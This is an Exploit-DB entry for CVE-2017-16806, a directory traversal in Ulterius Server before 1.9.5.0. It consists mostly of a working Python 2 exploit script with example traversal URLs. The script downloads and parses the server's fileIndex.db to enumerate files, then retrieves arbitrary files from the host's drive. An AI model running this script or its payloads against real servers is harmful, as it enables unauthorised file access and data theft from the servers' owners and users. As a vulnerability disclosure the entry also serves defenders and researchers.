Ulterius Server < 1.9.5.0 - Directory Traversal

EDB-ID:

43141


Platform:

Windows

Published:

2017-11-13

# Exploit Title: Ulterius Server < 1.9.5.0 Directory Traversal Arbitrary File Access
# Date: 11/13/2017
# Exploit Author: Rick Osgood
# Vendor Homepage: https://ulterius.io/
# Software Link: https://github.com/Ulterius/server/tree/0e4f2113da287aac88a8b4c5f8364a03685d393d
# Version: < 1.9.5.0
# Tested on: Windows Server 2012 R2
# CVE : CVE-2017-16806
#
# You can download almost any file that resides on the same drive letter as Ulterius server.
# Example: http://ulteriusURL:22006/.../.../.../.../.../.../.../.../.../windows/win.ini
#
# Unfortunately, you need to know the path to the file you want to download.
# Fortunately, Ulterius indexes every file on the system, and it's usually stored in the same place:
# http://ulteriusURL:2206/.../fileIndex.db
#
# This script will retrieve the fileIndex.db file for you, decompress it, and process the list to
# make it human readable. Then you can use the same script to download any juicy files you find.
#
# Ulterius writes the following to the fileIndex.db file:
    # First four bytes are a timestamp so we can ignore this
# The next four items repeat until the end of the file:
    # filename.length (4 bytes?)
    # filename
    # directory.length (4 bytes?)
    # directory

import requests
import sys
import argparse
import zlib
import struct

# This function grabs the filename or file path from the fileIndex
def processChunk(i, data):
	length = struct.unpack('B', data[i])[0]
	length += struct.unpack('B', data[i+1])[0]
	length += struct.unpack('B', data[i+2])[0]
	length += struct.unpack('B', data[i+3])[0]
	
	i += 4
	filename = data[i:i+length]
	i += length

	return i, filename

# Main function
def main():
	# Parse arguments
	parser = argparse.ArgumentParser(description='Ulterius exploit by Rick osgood')
	parser.add_argument('url', type=str, nargs='+', help='URL of the Ulterius server including port')
	parser.add_argument('--retrieve', metavar='FILEPATH', type=str, nargs='+', help='Retrieve file from server (e.g. c:\windows\win.ini)')
	parser.add_argument('--index', help='Retrieve, decompress, and process fileIndex.db (List of all files indexed by Ulterius)', action='store_true')
	args = parser.parse_args()

        # We are going to retrieve a specified file
	if args.retrieve:
		fileName = str(args.retrieve[0])
		
                # This works for the default Ulterius install directory.
		baseDir = "/.../.../.../.../.../.../.../.../.../"
	
                # Remove slashes from output file name
		outFile = fileName.replace('\\','_')
	
		# Remove drive letter and change slashes
		if ":\\" in fileName[:3]:
			fileName = fileName[3:]
	
                # Replace slashes
		fileName = fileName.replace('\\','/')	# Replace slashes
	        
                # Build URL
		url = str(args.url[0]) + baseDir + fileName
		print "Retrieving " + url
	    
                # Download file
		r = requests.get(url=url, stream=True)	# Retrieve file
	
                # Write file
		f = open(outFile, 'w')
		f.write(r.content)
	
        # We are going to download the fileIndex.db file
	if args.index:
                # Setup the URL
		url = args.url[0] + "/.../fileIndex.db"
		print "Downloading " + url

                # Download file
		r = requests.get(url=url, stream=True)
		
                # decompress the data
                data = zlib.decompress( r.content, -15 )
		
                # Open output file for writing
		f = open('fileIndex.db', 'w')
	
		# Strip off header info (not sure what this is)
		data = data[8:]
		
		# Process file names and write to output file
		i = 0
		while i < len(data):	
			i, filename = processChunk(i, data)         # Get file name
			i, directory = processChunk(i, data)        # Get file path
			i += 8 # Skip the FFFFFFFFFFFFFFFF
	    		f.write(directory + '\\' + filename + '\n') # Write to output file
	
if __name__ == "__main__":
    main()